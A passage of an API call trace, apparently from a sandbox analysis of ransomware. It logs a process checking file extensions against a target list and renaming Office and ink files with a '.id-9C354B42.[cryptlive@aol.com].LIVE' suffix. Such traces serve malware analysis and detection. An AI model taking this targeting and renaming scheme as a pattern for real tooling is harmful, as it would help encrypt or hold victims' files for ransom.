lpString2=".xml") returned -1 [0040.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.853] lstrlenW (lpString=".zip") returned 4 [0040.853] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.853] lstrlenW (lpString=".rar") returned 4 [0040.854] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.854] lstrlenW (lpString=".bz2") returned 4 [0040.854] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.854] lstrlenW (lpString=".7z") returned 3 [0040.854] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.854] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.854] lstrlenW (lpString=".dbf") returned 4 [0040.854] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.854] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.854] lstrlenW (lpString=".1cd") returned 4 [0040.854] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.854] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.854] lstrlenW (lpString=".jpg") returned 4 [0040.854] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.854] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0040.854] lstrlenW (lpString="kor-kor.xml") returned 11 [0040.854] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0041.236] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=392) returned 1 [0041.236] CloseHandle (hObject=0x1b0) returned 1 [0041.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0041.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0041.236] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0041.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0041.236] lstrlenW (lpString=".doc") returned 4 [0041.236] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.236] lstrlenW (lpString=".docx") returned 5 [0041.236] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0041.236] lstrlenW (lpString=".pdf") returned 4 [0041.236] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.236] lstrlenW (lpString=".xls") returned 4 [0041.236] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.236] lstrlenW (lpString=".xlsx") returned 5 [0041.236] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0041.236] lstrlenW (lpString=".ppt") returned 4 [0041.237] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0041.237] lstrlenW (lpString=".zip") returned 4 [0041.237] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.237] lstrlenW (lpString=".rar") returned 4 [0041.237] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.237] lstrlenW (lpString=".bz2") returned 4 [0041.237] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.237] lstrlenW (lpString=".7z") returned 3 [0041.237] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0041.237] lstrlenW (lpString=".dbf") returned 4 [0041.237] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0041.237] lstrlenW (lpString=".1cd") returned 4 [0041.237] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0041.237] lstrlenW (lpString=".jpg") returned 4 [0041.237] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0041.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0041.237] lstrlenW (lpString=".doc") returned 4 [0041.237] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.237] lstrlenW (lpString=".docx") returned 5 [0041.237] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0041.237] lstrlenW (lpString=".pdf") returned 4 [0041.237] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.237] lstrlenW (lpString=".xls") returned 4 [0041.237] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.237] lstrlenW (lpString=".xlsx") returned 5 [0041.237] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0041.237] lstrlenW (lpString=".ppt") returned 4 [0041.237] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0041.237] lstrlenW (lpString=".zip") returned 4 [0041.237] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.238] lstrlenW (lpString=".rar") returned 4 [0041.238] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.238] lstrlenW (lpString=".bz2") returned 4 [0041.238] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.238] lstrlenW (lpString=".7z") returned 3 [0041.238] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0041.238] lstrlenW (lpString=".dbf") returned 4 [0041.238] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0041.238] lstrlenW (lpString=".1cd") returned 4 [0041.238] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0041.238] lstrlenW (lpString=".jpg") returned 4 [0041.238] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.238] lstrcmpiW (lpString1=".dat", lpString2=".LIVE") returned -1 [0041.238] lstrlenW (lpString="hwruklm.dat") returned 11 [0041.238] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0043.235] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=3053984) returned 1 [0043.235] CloseHandle (hObject=0x15c) returned 1 [0043.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat")) returned 0x20 [0043.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0043.236] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0043.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0043.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0043.236] lstrlenW (lpString=".doc") returned 4 [0043.236] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0043.236] lstrlenW (lpString=".docx") returned 5 [0043.236] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0043.236] lstrlenW (lpString=".pdf") returned 4 [0043.236] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0043.236] lstrlenW (lpString=".xls") returned 4 [0043.236] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0043.236] lstrlenW (lpString=".xlsx") returned 5 [0043.236] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0043.236] lstrlenW (lpString=".ppt") returned 4 [0043.236] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0043.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0043.236] lstrlenW (lpString=".zip") returned 4 [0043.236] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0043.236] lstrlenW (lpString=".rar") returned 4 [0043.237] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0043.237] lstrlenW (lpString=".bz2") returned 4 [0043.237] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0043.237] lstrlenW (lpString=".7z") returned 3 [0043.237] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0043.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0043.237] lstrlenW (lpString=".dbf") returned 4 [0043.237] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0043.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0043.237] lstrlenW (lpString=".1cd") returned 4 [0043.237] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0043.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0043.237] lstrlenW (lpString=".jpg") returned 4 [0043.237] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0043.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0043.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0043.237] lstrlenW (lpString=".doc") returned 4 [0043.237] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0043.237] lstrlenW (lpString=".docx") returned 5 [0043.237] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0043.237] lstrlenW (lpString=".pdf") returned 4 [0043.237] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0043.237] lstrlenW (lpString=".xls") returned 4 [0043.237] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0043.237] lstrlenW (lpString=".xlsx") returned 5 [0043.237] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0043.237] lstrlenW (lpString=".ppt") returned 4 [0043.238] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0043.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0043.238] lstrlenW (lpString=".zip") returned 4 [0043.238] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0043.238] lstrlenW (lpString=".rar") returned 4 [0043.238] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0043.238] lstrlenW (lpString=".bz2") returned 4 [0043.238] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0043.238] lstrlenW (lpString=".7z") returned 3 [0043.238] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0043.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0043.238] lstrlenW (lpString=".dbf") returned 4 [0043.238] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0043.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0043.238] lstrlenW (lpString=".1cd") returned 4 [0043.238] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0043.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0043.238] lstrlenW (lpString=".jpg") returned 4 [0043.238] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0043.238] lstrcmpiW (lpString1=".dat", lpString2=".LIVE") returned -1 [0043.238] lstrlenW (lpString="hwrusash.dat") returned 12 [0043.238] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0043.239] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=4120784) returned 1 [0043.239] CloseHandle (hObject=0x15c) returned 1 [0043.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20 [0043.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0043.239] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0043.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0043.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0043.240] lstrlenW (lpString=".doc") returned 4 [0043.240] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0043.240] lstrlenW (lpString=".docx") returned 5 [0043.240] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0043.240] lstrlenW (lpString=".pdf") returned 4 [0043.240] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0043.240] lstrlenW (lpString=".xls") returned 4 [0043.240] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0043.240] lstrlenW (lpString=".xlsx") returned 5 [0043.240] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0043.240] lstrlenW (lpString=".ppt") returned 4 [0043.240] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0043.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0043.240] lstrlenW (lpString=".zip") returned 4 [0043.240] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0043.240] lstrlenW (lpString=".rar") returned 4 [0043.240] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0043.240] lstrlenW (lpString=".bz2") returned 4 [0043.240] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0043.240] lstrlenW (lpString=".7z") returned 3 [0043.240] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0043.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0043.240] lstrlenW (lpString=".dbf") returned 4 [0043.240] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0043.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0043.240] lstrlenW (lpString=".1cd") returned 4 [0043.240] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0043.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0043.241] lstrlenW (lpString=".jpg") returned 4 [0043.241] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0043.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0043.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0043.241] lstrlenW (lpString=".doc") returned 4 [0043.241] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0043.241] lstrlenW (lpString=".docx") returned 5 [0043.241] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0043.241] lstrlenW (lpString=".pdf") returned 4 [0043.241] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0043.241] lstrlenW (lpString=".xls") returned 4 [0043.241] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0043.241] lstrlenW (lpString=".xlsx") returned 5 [0043.241] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0043.241] lstrlenW (lpString=".ppt") returned 4 [0043.241] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0043.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0043.241] lstrlenW (lpString=".zip") returned 4 [0043.241] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0043.241] lstrlenW (lpString=".rar") returned 4 [0043.241] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0043.241] lstrlenW (lpString=".bz2") returned 4 [0043.241] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0043.241] lstrlenW (lpString=".7z") returned 3 [0043.241] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0043.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0043.241] lstrlenW (lpString=".dbf") returned 4 [0043.242] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0043.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0043.242] lstrlenW (lpString=".1cd") returned 4 [0043.242] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0043.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0043.242] lstrlenW (lpString=".jpg") returned 4 [0043.242] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0043.242] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0043.242] lstrlenW (lpString="ipscat.xml") returned 10 [0043.242] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0043.242] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2592) returned 1 [0043.243] CloseHandle (hObject=0x15c) returned 1 [0043.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0043.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0043.243] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0043.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0043.243] lstrlenW (lpString=".doc") returned 4 [0043.243] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.243] lstrlenW (lpString=".docx") returned 5 [0043.243] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0043.243] lstrlenW (lpString=".pdf") returned 4 [0043.243] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.243] lstrlenW (lpString=".xls") returned 4 [0043.243] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.243] lstrlenW (lpString=".xlsx") returned 5 [0043.243] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0043.243] lstrlenW (lpString=".ppt") returned 4 [0043.243] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0043.243] lstrlenW (lpString=".zip") returned 4 [0043.243] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.243] lstrlenW (lpString=".rar") returned 4 [0043.244] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.244] lstrlenW (lpString=".bz2") returned 4 [0043.244] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.244] lstrlenW (lpString=".7z") returned 3 [0043.244] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0043.244] lstrlenW (lpString=".dbf") returned 4 [0043.244] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0043.244] lstrlenW (lpString=".1cd") returned 4 [0043.244] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0043.244] lstrlenW (lpString=".jpg") returned 4 [0043.244] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0043.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0043.244] lstrlenW (lpString=".doc") returned 4 [0043.244] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.244] lstrlenW (lpString=".docx") returned 5 [0043.244] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0043.244] lstrlenW (lpString=".pdf") returned 4 [0043.244] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.244] lstrlenW (lpString=".xls") returned 4 [0043.244] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.244] lstrlenW (lpString=".xlsx") returned 5 [0043.244] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0043.244] lstrlenW (lpString=".ppt") returned 4 [0043.244] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0043.245] lstrlenW (lpString=".zip") returned 4 [0043.245] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.245] lstrlenW (lpString=".rar") returned 4 [0043.245] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.245] lstrlenW (lpString=".bz2") returned 4 [0043.245] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.245] lstrlenW (lpString=".7z") returned 3 [0043.245] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0043.245] lstrlenW (lpString=".dbf") returned 4 [0043.245] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0043.245] lstrlenW (lpString=".1cd") returned 4 [0043.245] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0043.245] lstrlenW (lpString=".jpg") returned 4 [0043.245] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.245] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0043.245] lstrlenW (lpString="ipschs.xml") returned 10 [0043.246] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0043.246] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2462) returned 1 [0043.246] CloseHandle (hObject=0x15c) returned 1 [0043.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20 [0043.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0043.247] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0043.247] lstrlenW (lpString="C:\\Program 